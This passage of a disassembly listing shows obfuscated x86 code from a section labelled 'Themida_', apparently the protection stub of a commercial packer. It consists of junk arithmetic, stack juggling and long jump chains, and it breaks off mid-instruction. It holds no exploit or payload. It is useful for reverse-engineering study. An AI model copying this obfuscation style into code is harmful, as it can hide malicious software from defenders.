Themida_:005A7E5Dj push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop ebx add esp, 4 push 465h mov [esp], edx mov edx, 4 add ebx, edx push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], edi push 799216CCh jmp loc_598D01 ; --------------------------------------------------------------------------- loc_5AE19A: ; CODE XREF: Themida_:005A0908j mov ecx, [esp] add esp, 4 movzx eax, al jmp loc_5ABD28 ; --------------------------------------------------------------------------- loc_5AE1AB: ; CODE XREF: Themida_:005A3421j mov edi, [esp] jmp loc_5AC229 ; --------------------------------------------------------------------------- loc_5AE1B3: ; CODE XREF: Themida_:005A88FEj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AE1B8: ; CODE XREF: Themida_:005AF3F6j mov edx, [esp] add esp, 4 xor edi, 7D572E95h sub edi, 1 add edi, 7A0D79D0h dec edi jmp loc_59FB9C ; --------------------------------------------------------------------------- loc_5AE1D6: ; CODE XREF: Themida_:0059CDCDj push ebp mov ebp, 53223355h sub ebp, 4CB448B0h push edx mov edx, 562E4726h jmp loc_59B116 ; --------------------------------------------------------------------------- loc_5AE1ED: ; CODE XREF: Themida_:005A5C52j sub esi, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_5A1589 ; --------------------------------------------------------------------------- loc_5AE1FB: ; CODE XREF: Themida_:005AA48Bj mov edi, esp jmp loc_59AFFD ; --------------------------------------------------------------------------- loc_5AE202: ; DATA XREF: Themida_:005987ACo mov ax, [esp] sub esp, 4 mov [esp], ebp jmp loc_5A6441 ; --------------------------------------------------------------------------- loc_5AE214: ; CODE XREF: Themida_:005A38CDj add esi, 4 push ecx jmp loc_5A6E75 ; --------------------------------------------------------------------------- loc_5AE220: ; CODE XREF: Themida_:005A467Bj mov esp, [esp] mov ax, [esp] push 5BE3h mov [esp], ebx push esp pop ebx push eax push edx mov edx, 4E7D040Dh mov eax, edx pop edx jmp loc_5A21A0 ; --------------------------------------------------------------------------- loc_5AE240: ; CODE XREF: Themida_:005AB627j mov ebx, 4A20079Eh neg ebx dec ebx add ebx, 353353A6h shr ebx, 8 jmp loc_5A0D1A ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_599F83 ; --------------------------------------------------------------------------- loc_5AE25E: ; CODE XREF: Themida_:005A2478j mov ecx, [esp] jmp loc_59BD7E ; --------------------------------------------------------------------------- loc_5AE266: ; CODE XREF: Themida_:005AEDF7j mov edi, 4 add esi, edi pop edi jmp loc_5A3A11 ; --------------------------------------------------------------------------- loc_5AE273: ; CODE XREF: Themida_:0059E4F1j ; Themida_:0059F1D2j ... sub esp, 4 mov [esp], esi push 5DCh mov [esp], ebx jmp loc_5A0389 ; --------------------------------------------------------------------------- loc_5AE286: ; CODE XREF: Themida_:005A801Aj sub esp, 4 mov [esp], esi push edi jmp loc_598DB5 ; --------------------------------------------------------------------------- loc_5AE292: ; CODE XREF: Themida_:0059ED60j dec edx jo loc_59F44C jmp loc_5A342F ; --------------------------------------------------------------------------- loc_5AE29E: ; CODE XREF: Themida_:0059BFB0j mov esi, [esp] add esp, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp xor ebp, [esp] jmp loc_59F74A ; --------------------------------------------------------------------------- loc_5AE2B6: ; CODE XREF: Themida_:005A5F9Bj sub edx, edi add edx, 1BA96206h jmp loc_5A402F ; --------------------------------------------------------------------------- loc_5AE2C3: ; CODE XREF: Themida_:loc_5A2018j ; Themida_:005A958Aj mov [esp], ecx mov ecx, 6642669Ch add ebp, ecx pop ecx push dword ptr [esp] pop esi jmp loc_5AB805 ; --------------------------------------------------------------------------- loc_5AE2D7: ; CODE XREF: Themida_:005A18C4j pop ebp jmp loc_5A1C21 ; --------------------------------------------------------------------------- loc_5AE2DD: ; CODE XREF: Themida_:005A6311j mov [esp], ebx jmp loc_59F030 ; --------------------------------------------------------------------------- loc_5AE2E5: ; CODE XREF: Themida_:0059A898j mov esi, 359E7F23h sub esi, 1C3B1223h add esi, 85061Dh sub eax, esi pop esi add eax, esi add eax, 19E8731Dh sub eax, 6C5B08D6h pop esi jmp loc_5A3CF6 ; --------------------------------------------------------------------------- loc_5AE30B: ; CODE XREF: Themida_:005A0A5Ej jmp loc_59CA30 ; --------------------------------------------------------------------------- loc_5AE310: ; CODE XREF: Themida_:005A992Bj pop ebx pop eax pop ecx mov dword ptr [edx+38h], 3B981447h push eax jmp loc_5A2F23 ; --------------------------------------------------------------------------- loc_5AE320: ; CODE XREF: Themida_:005A5B0Bj neg edi jz loc_5AC80E or edi, 4CF072AFh jmp loc_5A7864 ; --------------------------------------------------------------------------- loc_5AE333: ; CODE XREF: Themida_:005A683Ej pop esp push ebx mov ebx, 3E2A0166h push 65F8h mov [esp], edx mov edx, 15977433h xor edx, 25785A97h push ebp jmp loc_5AE089 ; --------------------------------------------------------------------------- loc_5AE353: ; CODE XREF: Themida_:005AD2AAj mov cl, 83h add cl, 5Eh jmp loc_5A25EB ; --------------------------------------------------------------------------- loc_5AE35D: ; CODE XREF: Themida_:0059CC95j push eax mov eax, 51062A8Ch neg eax add eax, 525E71D5h add eax, 0F994BA71h add ebx, eax pop eax add esi, ebx pop ebx sub esp, 4 mov [esp], ecx jmp loc_5AA490 ; --------------------------------------------------------------------------- loc_5AE380: ; CODE XREF: Themida_:005A09D0j pop ecx xor eax, edx jmp loc_5AF05B ; --------------------------------------------------------------------------- loc_5AE388: ; DATA XREF: Themida_:005986E8o mov cx, [esp] push 6E4Eh mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_5ABB02 ; --------------------------------------------------------------------------- loc_5AE3AA: ; CODE XREF: Themida_:005A60BEj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push 3EC0h jmp loc_59F2B4 ; --------------------------------------------------------------------------- loc_5AE3C0: ; CODE XREF: Themida_:loc_59ED73j shr edi, 7 jp loc_5AA34C sub edi, 88F251h jmp loc_5A0A4E ; --------------------------------------------------------------------------- loc_5AE3D4: ; CODE XREF: Themida_:005AB614j not eax xchg eax, ebx push esi jmp loc_5AF175 ; --------------------------------------------------------------------------- loc_5AE3DD: ; CODE XREF: Themida_:0059C34Cj xchg edx, [esp] pop esp add ebp, ebx mov ebx, [esp] jmp loc_59DF68 ; --------------------------------------------------------------------------- loc_5AE3EB: ; CODE XREF: Themida_:005A1E88j pop eax jmp loc_5A5B3A ; --------------------------------------------------------------------------- loc_5AE3F1: ; CODE XREF: Themida_:005A050Cj sub esi, edx pop edx add esi, ebp add esi, 0B536671h sub esi, 45261EC8h sub esi, 35C14C00h pop ebp and ecx, esi mov esi, [esp] add esp, 4 shr ecx, 6 push ebp push 6225h jmp loc_5A4AD1 ; --------------------------------------------------------------------------- loc_5AE422: ; CODE XREF: Themida_:005AA7A9j sub ebp, 78EE43F9h jmp loc_5A2649 ; --------------------------------------------------------------------------- loc_5AE42D: ; CODE XREF: Themida_:005A22B0j sub dword ptr [esp], 4C1D1448h mov ebp, [esp] add esp, 4 add ebp, 4C1D1448h pop esi mov edi, [esp] add esp, 4 jmp loc_599863 ; --------------------------------------------------------------------------- loc_5AE44F: ; CODE XREF: Themida_:005AADC8j mov ebx, 4E1B3B94h mov eax, ebx pop ebx shr eax, 2 and eax, 37305A5Eh jmp loc_5AF50C ; --------------------------------------------------------------------------- loc_5AE464: ; CODE XREF: Themida_:0059BF34j push edx sub dword ptr [esp], 172F75F1h pop ecx add ecx, 172F75F1h pop edx and ecx, 74D56A9h or ecx, 441371FBh push 4D09h mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_59F6D8 ; --------------------------------------------------------------------------- loc_5AE497: ; CODE XREF: Themida_:0059A55Dj sub edi, 280B4690h jns loc_5994BB xor edi, 5616CA1Bh or esi, edi pop edi mov edi, edi loc_5AE4AE: ; CODE XREF: Themida_:0059EA70j mov ebx, 18D44E3Dh shl ebx, 3 and ebx, 20D31A4Dh push eax mov eax, 49472A9Dh jmp loc_59AA5E ; --------------------------------------------------------------------------- loc_5AE4C7: ; CODE XREF: Themida_:005AD307j pop esi sub eax, 6CF66B8Eh add eax, edx jmp loc_59BAA0 ; --------------------------------------------------------------------------- loc_5AE4D4: ; CODE XREF: Themida_:005A6956j pop ecx pop dword ptr [esp] mov esp, [esp] mov ecx, [esp] push edx mov edx, esp add edx, 4 sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_59EC86 ; --------------------------------------------------------------------------- loc_5AE4FC: ; CODE XREF: Themida_:005A0E3Aj xchg ebx, [esp] mov esp, [esp] jmp loc_5A4DE1 ; --------------------------------------------------------------------------- loc_5AE507: ; CODE XREF: Themida_:00599A0Dj push edi mov edi, 4 mov ebp, edi pop edi sub eax, 39431564h add eax, ebp push ecx jmp loc_5A1E0E ; --------------------------------------------------------------------------- loc_5AE51D: ; CODE XREF: Themida_:005A3734j add eax, ecx mov ecx, [esp] add esp, 4 push edx mov edx, 40CB29E6h not edx jmp loc_599D79 ; --------------------------------------------------------------------------- loc_5AE535: ; CODE XREF: Themida_:005A6C21j push 45F6h mov [esp], edx push ebp push 263C705Dh pop ebp xor ebp, 791469A7h dec ebp jno loc_5A8DD8 jmp loc_5A60DD ; --------------------------------------------------------------------------- pop esi xor edi, ecx jmp loc_5AD369 ; --------------------------------------------------------------------------- mov ebx, eax loc_5AE560: ; CODE XREF: Themida_:005AE594j mov ebp, 14807AAh neg ebp jp loc_598C6E inc ebp neg ebp xor ebp, 2D0917B7h push esp loc_5AE577: ; CODE XREF: Themida_:005A951Cj add esp, 4 jmp loc_5AC353 ; --------------------------------------------------------------------------- loc_5AE582: ; CODE XREF: Themida_:005A2568j mov [esp], edx sub esp, 4 mov [esp], esi mov esi, 4B06451Ah push ebp jmp loc_5AE560 ; --------------------------------------------------------------------------- loc_5AE599: ; CODE XREF: Themida_:005AA075j add esp, 4 mov ebx, [esp] add esp, 4 push ebp push esi push 39D1753Ah jmp loc_5A74EA ; --------------------------------------------------------------------------- loc_5AE5AE: ; CODE XREF: Themida_:005AF8B9j sub eax, 23D310EAh sub eax, edx add eax, 23D310EAh sub eax, 53B043BAh mov edx, [esp] add esp, 4 add ebp, eax push dword ptr [esp] mov eax, [esp] push eax jmp loc_59D763 ; --------------------------------------------------------------------------- loc_5AE5D3: ; CODE XREF: Themida_:005A5231j push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 push esi mov esi, esp jmp loc_5A4D7D ; --------------------------------------------------------------------------- loc_5AE5E5: ; CODE XREF: Themida_:005A0239j and eax, 75D433C7h xor eax, 592C1060h jmp loc_5AC439 ; --------------------------------------------------------------------------- loc_5AE5F4: ; CODE XREF: Themida_:005A74C4j mov esp, [esp] push ebp sub esp, 4 mov [esp], esp jmp loc_5A568F ; --------------------------------------------------------------------------- loc_5AE603: ; CODE XREF: Themida_:005AD02Ej mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], edi mov edi, 4 add ebx, edi pop edi push edx mov edx, 6E88297Bh sub esp, 4 mov [esp], eax jmp loc_59AC30 ; --------------------------------------------------------------------------- loc_5AE639: ; CODE XREF: Themida_:005A390Aj mov esp, [esp] idiv cl jmp loc_59C621 ; --------------------------------------------------------------------------- loc_5AE643: ; CODE XREF: Themida_:005AC373j push dword ptr [esp+4] push dword ptr [esp] pop ecx add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_599340 ; --------------------------------------------------------------------------- loc_5AE65C: ; CODE XREF: Themida_:0059DE0Fj sub esi, 6CDC5209h add esi, eax add esi, 6CDC5209h jmp loc_5A585F ; --------------------------------------------------------------------------- loc_5AE66F: ; CODE XREF: Themida_:005A936Fj mov esi, ebx pop ebx add edx, esi push dword ptr [esp] pop esi push ebp push esp push dword ptr [esp] pop ebp push ebp jmp loc_5AB249 ; --------------------------------------------------------------------------- loc_5AE684: ; CODE XREF: Themida_:0059B344j xor eax, edx xor edx, eax push ecx push esi mov esi, 918A92D4h mov ecx, esi mov esi, [esp] add esp, 4 xor edx, ecx jmp loc_59B151 ; --------------------------------------------------------------------------- loc_5AE69E: ; CODE XREF: Themida_:005ABCDBj push 3DCDh mov [esp], ecx mov ecx, 54C2345Dh or ecx, 5B352D46h jg loc_5A9B97 and ecx, 1B73484Ah jmp loc_5A9C3B ; --------------------------------------------------------------------------- loc_5AE6C2: ; CODE XREF: Themida_:005A06ABj add esp, 4 add eax, 2 jmp loc_59A419 ; --------------------------------------------------------------------------- loc_5AE6D0: ; CODE XREF: Themida_:005A342Aj push esi push ecx mov ecx, 5BE6564Dh sub ecx, 3CFB4D98h jmp loc_5A8B40 ; --------------------------------------------------------------------------- loc_5AE6E2: ; CODE XREF: Themida_:0059D5D0j push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 add esp, 4 push ebx push dword ptr [esp+4] pop ebx jmp loc_59FE19 ; --------------------------------------------------------------------------- loc_5AE700: ; CODE XREF: Themida_:0059A10Ej mov esi, [esp] add esp, 4 shl ebx, 4 jmp loc_5AC14D ; --------------------------------------------------------------------------- loc_5AE70E: ; CODE XREF: Themida_:005AACC6j sub esi, 4F8C5174h jmp loc_5A141B ; --------------------------------------------------------------------------- loc_5AE719: ; CODE XREF: Themida_:005A25D7j push 0C8Fh mov [esp], ecx jmp loc_5AFCB0 ; --------------------------------------------------------------------------- loc_5AE726: ; CODE XREF: Themida_:005995AFj mov edi, eax pop eax and edi, 5D9D6050h jmp loc_59FE9A ; --------------------------------------------------------------------------- loc_5AE734: ; CODE XREF: Themida_:005AAC06j mov ebx, [esp] add esp, 4 jmp loc_5A87E2 ; --------------------------------------------------------------------------- loc_5AE73F: ; CODE XREF: Themida_:005A7227j xor ecx, edx pop edx jmp loc_5A4B0D ; --------------------------------------------------------------------------- loc_5AE747: ; CODE XREF: Themida_:005A45BDj and edx, 6AAF69CDh shl edx, 1 push eax mov eax, 313226B5h sub edx, eax jmp loc_5AB52D ; --------------------------------------------------------------------------- loc_5AE75C: ; CODE XREF: Themida_:005A5AC1j mov cl, bh pop ebx jmp loc_599BE5 ; --------------------------------------------------------------------------- loc_5AE764: ; CODE XREF: Themida_:loc_59C6B8j ; Themida_:005AB742j add esp, 4 pop dword ptr [esp] mov esp, [esp] and [esp], eax pushf jmp loc_5A3401 ; --------------------------------------------------------------------------- loc_5AE776: ; CODE XREF: Themida_:005A1265j xchg edx, [esp] pop esp xchg ebp, [esp] mov esp, [esp] jmp loc_5AEC82 ; --------------------------------------------------------------------------- loc_5AE785: ; CODE XREF: Themida_:005A49B4j ; Themida_:005A5FEBj push eax jmp loc_5AA161 ; --------------------------------------------------------------------------- loc_5AE78B: ; CODE XREF: Themida_:005A604Dj ; Themida_:005AA90Cj sub [esp+4], esi jmp loc_5A3BCE ; --------------------------------------------------------------------------- loc_5AE794: ; CODE XREF: Themida_:00599EBAj sub esi, ebp pop ebp add esi, ecx add esi, 593B4DCFh pop ecx push eax jmp loc_5AF5EF ; --------------------------------------------------------------------------- loc_5AE7A6: ; CODE XREF: Themida_:005A804Cj mov si, 5B66h inc si jg loc_5A0FE3 sub si, 5B65h mov cx, si jmp loc_5AF768 ; --------------------------------------------------------------------------- push esp loc_5AE7C0: ; CODE XREF: Themida_:005A2373j jmp loc_59CFB7 ; --------------------------------------------------------------------------- loc_5AE7C5: ; CODE XREF: Themida_:005AC7D3j add edi, ebx push eax mov eax, 0F515054h or eax, 7FF0DFCh or eax, 53017C44h push esi mov esi, 61E16A5Fh sub esi, 0FE20233Eh inc esi jmp loc_5AACCB ; --------------------------------------------------------------------------- loc_5AE7E9: ; CODE XREF: Themida_:005A0454j pop eax shl eax, 2 sub eax, 4F1B35FEh jmp loc_59FDD6 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AE7FE: ; CODE XREF: Themida_:005A364Fj shr al, 5 or al, 80h ja loc_5A51D9 add al, 0E7h mov dl, al jmp loc_5A2230 ; --------------------------------------------------------------------------- mov ecx, eax mov eax, ecx loc_5AE816: ; CODE XREF: Themida_:005A7955j push dword ptr [esp] pop ebp jmp loc_5A945E ; --------------------------------------------------------------------------- loc_5AE81F: ; CODE XREF: Themida_:0059CE49j add ebx, 3D1778FBh add ebx, 2D74210Ah add ebx, 37A52391h add ebx, 61D54718h sub ebx, ecx sub ebx, 61D54718h jmp loc_5A4F8E ; --------------------------------------------------------------------------- loc_5AE844: ; CODE XREF: Themida_:005A3DB4j xor ebx, [esp] pop esp cmp cx, ax pushf jmp loc_5A01AB ; --------------------------------------------------------------------------- loc_5AE851: ; CODE XREF: Themida_:005A1298j push edi mov edi, 0AA3FFDh add edx, edi jmp loc_59DC88 ; --------------------------------------------------------------------------- loc_5AE85E: ; CODE XREF: Themida_:005A8AF2j xor dx, si pop esi push ebx push small 2550h jmp loc_59E734 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push edi jmp loc_59EF6F ; --------------------------------------------------------------------------- loc_5AE875: ; CODE XREF: Themida_:005A3BC9j mov eax, 4 mov ebp, eax pop eax sub edx, 4C41089Dh jmp loc_5AEE8D ; --------------------------------------------------------------------------- loc_5AE888: ; CODE XREF: Themida_:005A684Dj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AE88D: ; CODE XREF: Themida_:0059967Dj or edx, 37A22449h jle loc_5A7F22 jmp loc_59987F ; --------------------------------------------------------------------------- loc_5AE89E: ; CODE XREF: Themida_:0059E9E9j neg esi add esi, 98D35681h sub ecx, 75D10E05h sub ecx, esi add ecx, 75D10E05h pop esi sub ecx, 0BC5A84FCh push ecx pop eax pop ecx push 4357h mov [esp], edx mov edx, 3C4369Fh and eax, edx pop edx add eax, 4E819B3h or edi, eax mov eax, [esp] jmp loc_5A8F97 ; --------------------------------------------------------------------------- loc_5AE8DD: ; CODE XREF: Themida_:005A2B0Aj add esp, 4 jmp loc_59CA4F ; --------------------------------------------------------------------------- loc_5AE8E5: ; CODE XREF: Themida_:005A5CA8j pop dword ptr [esp] mov esp, [esp] mov [esp], ebx jmp loc_5A761A ; --------------------------------------------------------------------------- loc_5AE8F3: ; CODE XREF: Themida_:00599A85j pop edx sub ebp, 4DDD0D89h add ebp, 45591184h sub ebp, eax sub ebp, 45591184h push ecx mov ecx, 279D114Bh xor ecx, 1254703Eh inc ecx not ecx and ecx, 7E4A0976h add ecx, 17C95910h xor ecx, 1E980C0Eh sub ecx, 31765F95h add ebp, ecx pop ecx pop eax add ebx, ebp pop ebp push esi mov esi, 4 jmp loc_5AA26D ; --------------------------------------------------------------------------- loc_5AE941: ; CODE XREF: Themida_:0059C748j mov [esp], edx jmp loc_59EAC1 ; --------------------------------------------------------------------------- loc_5AE949: ; CODE XREF: Themida_:0059977Aj mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push 23A3h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov ebp, [esp] push 641h mov [esp], eax jmp loc_5AB058 ; --------------------------------------------------------------------------- loc_5AE978: ; CODE XREF: Themida_:0059F004j sub esp, 4 jmp loc_59D09A ; --------------------------------------------------------------------------- loc_5AE980: ; CODE XREF: Themida_:005A22C9j add esp, 4 jmp loc_5A3D24 ; --------------------------------------------------------------------------- loc_5AE98B: ; CODE XREF: Themida_:005ADEA4j pop eax mov ebp, edx pop edx mov ebx, [esp] add esp, 4 sub [edi+24h], ebp push dword ptr [esp] jmp loc_5A545C ; --------------------------------------------------------------------------- loc_5AE9A0: ; CODE XREF: Themida_:0059BA53j jmp loc_5AA487 ; --------------------------------------------------------------------------- loc_5AE9A5: ; CODE XREF: Themida_:0059F23Bj pop edi jmp loc_59DBB3 ; --------------------------------------------------------------------------- loc_5AE9AB: ; CODE XREF: Themida_:005AA5BBj inc esi dec esi shl esi, 3 jmp loc_5A2094 ; --------------------------------------------------------------------------- loc_5AE9B5: ; CODE XREF: Themida_:005A87F7j add edx, ebx push 2516h jmp loc_5A4C83 ; --------------------------------------------------------------------------- loc_5AE9C1: ; CODE XREF: Themida_:00598B27j pop ebx jmp loc_5A8C04 ; --------------------------------------------------------------------------- loc_5AE9C7: ; CODE XREF: Themida_:005A9E2Cj pop ebp xchg edi, [esp] pop esp sub esp, 4 mov [esp], esp push edi mov edi, 4 jmp loc_5ACA79 ; --------------------------------------------------------------------------- loc_5AE9DD: ; CODE XREF: Themida_:005A363Bj push edi jmp loc_5A3661 ; --------------------------------------------------------------------------- loc_5AE9E3: ; CODE XREF: Themida_:005A4EB0j mov cl, 0C9h sub cl, bl jmp loc_5A08FE ; --------------------------------------------------------------------------- loc_5AE9EC: ; CODE XREF: Themida_:005A4352j add edi, esi pop esi jmp loc_5A0DDF ; --------------------------------------------------------------------------- loc_5AE9F4: ; CODE XREF: Themida_:005A0F94j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push 2A68h jmp loc_59A4AF ; --------------------------------------------------------------------------- loc_5AEA0A: ; CODE XREF: Themida_:0059AB03j add ebx, ecx jmp loc_5A5D17 ; --------------------------------------------------------------------------- loc_5AEA11: ; CODE XREF: Themida_:0059E3C8j ; Themida_:loc_5ADED5j xor edx, eax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AEA18: ; CODE XREF: Themida_:005ABA5Fj push ecx jmp loc_5AF69B ; --------------------------------------------------------------------------- loc_5AEA1E: ; CODE XREF: Themida_:005990CBj pop dword ptr [esp] mov esp, [esp] movzx ecx, ax push 4DF3h mov [esp], ecx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AEA34: ; CODE XREF: Themida_:005AD496j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_59CB63 ; --------------------------------------------------------------------------- loc_5AEA43: ; CODE XREF: Themida_:005A44C4j ja loc_59BE73 push ecx push ebp jmp loc_5A1213 ; --------------------------------------------------------------------------- pop esi push ebx and al, 7Fh loc_5AEA54: ; CODE XREF: Themida_:0059B7FBj ; Themida_:loc_5ACC0Fj xor ebx, 1C2253A0h jl loc_5AEF08 sub ebx, 17729FB3h mov [edi+20h], ebx jmp loc_5A51D9 ; --------------------------------------------------------------------------- loc_5AEA6E: ; CODE XREF: Themida_:005A92AAj sub eax, ecx jmp loc_5A1A49 ; --------------------------------------------------------------------------- loc_5AEA75: ; CODE XREF: Themida_:005A9653j push eax push ebp jmp loc_5A8C1B ; --------------------------------------------------------------------------- loc_5AEA7C: ; CODE XREF: Themida_:0059E4E2j push edi mov edi, esp jmp loc_59A862 ; --------------------------------------------------------------------------- loc_5AEA84: ; CODE XREF: Themida_:005AAB0Fj sub eax, 2FC40B6Bh jb loc_59FED4 add eax, 0DB8E193Dh mov esi, eax mov eax, [esp] jmp loc_5A90A6 ; --------------------------------------------------------------------------- loc_5AEA9E: ; CODE XREF: Themida_:005A207Cj shr ebp, 2 neg ebp sub ebp, 924CFBCBh push 7F5Bh mov [esp], eax mov eax, 18900390h shr eax, 7 shr eax, 4 jmp loc_5A3C65 ; --------------------------------------------------------------------------- loc_5AEAC1: ; CODE XREF: Themida_:005989B8j push ebx mov ebx, 4 add ebp, ebx jmp loc_5997CF ; --------------------------------------------------------------------------- loc_5AEACE: ; CODE XREF: Themida_:005A9B30j push 6C9Ah mov [esp], edx mov edx, 4 jmp loc_5A45CD ; --------------------------------------------------------------------------- loc_5AEAE0: ; CODE XREF: Themida_:005AD8C3j mov eax, 7F3804D2h sub eax, 0F335D06h xor eax, 713B3A7Bh add eax, 900C424Ch add edi, eax pop eax and ebp, edi jmp loc_59A90F ; --------------------------------------------------------------------------- loc_5AEAFE: ; CODE XREF: Themida_:0059C3CDj or ebp, eax jmp loc_59C737 ; --------------------------------------------------------------------------- loc_5AEB05: ; CODE XREF: Themida_:0059DDEEj ; Themida_:005A1FECj xor [esp], esi jmp loc_59B3E3 ; --------------------------------------------------------------------------- loc_5AEB0D: ; CODE XREF: Themida_:005A999Dj sub dword ptr [esp], 39CA6F5Eh jmp loc_59DA89 ; --------------------------------------------------------------------------- loc_5AEB19: ; CODE XREF: Themida_:005AAD81j pop edx xor edi, 3BC92D7Dh push ecx jmp loc_5A9D6E ; --------------------------------------------------------------------------- loc_5AEB26: ; CODE XREF: Themida_:005A38EAj sub al, 25h pop ecx sub al, 4Ah add al, bl add al, 4Ah push ebx mov bl, 0E8h or bl, 0B9h shl bl, 2 push edx mov dl, 3Fh jmp loc_59B929 ; --------------------------------------------------------------------------- loc_5AEB40: ; CODE XREF: Themida_:005A38B3j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push edx mov dh, 0F1h mov ah, dh push dword ptr [esp] jmp loc_5A1B56 ; --------------------------------------------------------------------------- mov cx, [esp] push 4BDEh mov [esp], ebp push 1FE0h push esp pop dword ptr [esp] push esi mov esi, 4 sub dword ptr [esp+4], 4A7C6D7Dh add [esp+4], esi add dword ptr [esp+4], 4A7C6D7Dh jmp loc_59B450 ; --------------------------------------------------------------------------- loc_5AEB91: ; CODE XREF: Themida_:0059CF0Fj ; Themida_:0059D2D3j mov eax, 2EC373FFh mov ebx, eax pop eax or edi, ebx push dword ptr [esp] pop ebx add esp, 4 xor edi, 1C3B0D90h dec edi jmp loc_5A258A ; --------------------------------------------------------------------------- loc_5AEBAE: ; CODE XREF: Themida_:loc_59CBD0j ; Themida_:005A3431j xor ecx, 9CE96EF3h neg ecx xor ecx, 226A0E98h shr ecx, 8 jmp loc_5A706F ; --------------------------------------------------------------------------- loc_5AEBC4: ; CODE XREF: Themida_:005A86C1j sub dword ptr [esp], 56555F3Ah jmp loc_5A71D1 ; --------------------------------------------------------------------------- loc_5AEBD0: ; CODE XREF: Themida_:0059CF5Dj xchg edx, [esp] mov esp, [esp] push ecx mov ecx, esp jmp loc_5A6E47 ; --------------------------------------------------------------------------- loc_5AEBDE: ; CODE XREF: Themida_:loc_59F424j xor ebp, 5410B164h push ebp jmp loc_5ABDC9 ; --------------------------------------------------------------------------- loc_5AEBEA: ; CODE XREF: Themida_:loc_598D97j xor ebx, 0B369F022h mov ecx, ebx jmp loc_5ACF5E ; --------------------------------------------------------------------------- loc_5AEBF7: ; CODE XREF: Themida_:00598DFEj add ebp, 4CBD236Ch add ebp, ebx sub ebp, 4CBD236Ch pop ebx push ebx mov ebx, 4 sub ebp, ebx pop ebx jmp loc_59FFB2 ; --------------------------------------------------------------------------- loc_5AEC14: ; CODE XREF: Themida_:005A8719j xor ebp, 3840200Ch jp loc_59B017 inc ebp js loc_599059 push edi mov ebx, ebp push ebp loc_5AEC2B: ; CODE XREF: Themida_:005AC94Bj push esp mov eax, [esp] jmp loc_5AAFA5 ; --------------------------------------------------------------------------- loc_5AEC34: ; CODE XREF: Themida_:0059C0C4j mov [esp], ecx jmp loc_59CFF2 ; --------------------------------------------------------------------------- loc_5AEC3C: ; CODE XREF: Themida_:005A9157j shr eax, 2 sub eax, 69C9434Eh add edi, eax pop eax add eax, edi pop edi add eax, 2CC42468h sub eax, 16200E4Eh sub eax, 4DA443A1h sub eax, ecx add eax, 4DA443A1h jmp loc_5A06BB ; --------------------------------------------------------------------------- loc_5AEC65: ; CODE XREF: Themida_:0059BDA5j push ebx sub dword ptr [esp], 0D84053Ch mov ecx, [esp] add esp, 4 add ecx, 0D84053Ch pop ebx jmp loc_5A53CB ; --------------------------------------------------------------------------- loc_5AEC82: ; CODE XREF: Themida_:005AE780j add esp, 4 or [esp], eax pushf jmp loc_59D463 ; --------------------------------------------------------------------------- loc_5AEC8E: ; CODE XREF: Themida_:0059B572j mov ebx, 32EE7D04h or ebx, 53D87871h jmp loc_59C7E6 ; --------------------------------------------------------------------------- loc_5AEC9E: ; CODE XREF: Themida_:005AFAABj xchg ebx, [esp] pop esp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp and ecx, esi jmp loc_5ABA8A ; --------------------------------------------------------------------------- loc_5AECB3: ; CODE XREF: Themida_:0059D525j dec ecx push eax mov eax, 161A4C31h xor ecx, eax pop eax xor eax, ecx push dword ptr [esp] pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5A899E ; --------------------------------------------------------------------------- loc_5AECD7: ; CODE XREF: Themida_:005A5F2Aj mov esi, [esp] add esp, 4 jmp loc_5A44FB ; --------------------------------------------------------------------------- loc_5AECE5: ; CODE XREF: Themida_:loc_59EE1Aj sub esi, 8ED0E305h shr esi, 2 jmp loc_59B077 ; --------------------------------------------------------------------------- loc_5AECF3: ; CODE XREF: Themida_:005A8543j pop edx add ecx, ebx jmp loc_5AD088 ; --------------------------------------------------------------------------- loc_5AECFB: ; CODE XREF: Themida_:0059FE84j pop esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 sub esp, 4 jmp loc_5AF2E4 ; --------------------------------------------------------------------------- loc_5AED13: ; CODE XREF: Themida_:005A0E67j mov esi, ebp mov ebp, [esp] add esp, 4 jmp loc_5ABBD8 ; --------------------------------------------------------------------------- loc_5AED20: ; CODE XREF: Themida_:005A6296j add esi, edi jmp loc_59A384 ; --------------------------------------------------------------------------- loc_5AED27: ; CODE XREF: Themida_:005AC4B4j add bl, al mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], esi jmp loc_5ADA0C ; --------------------------------------------------------------------------- loc_5AED3D: ; CODE XREF: Themida_:loc_5A2441j push ebx mov ebx, 12AA7922h add edi, ebx pop ebx xor edi, 0EBC17BEDh shl edi, 5 or edi, 26BD0E9Eh jmp loc_5A1A61 ; --------------------------------------------------------------------------- loc_5AED5A: ; CODE XREF: Themida_:005A70E9j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edi push 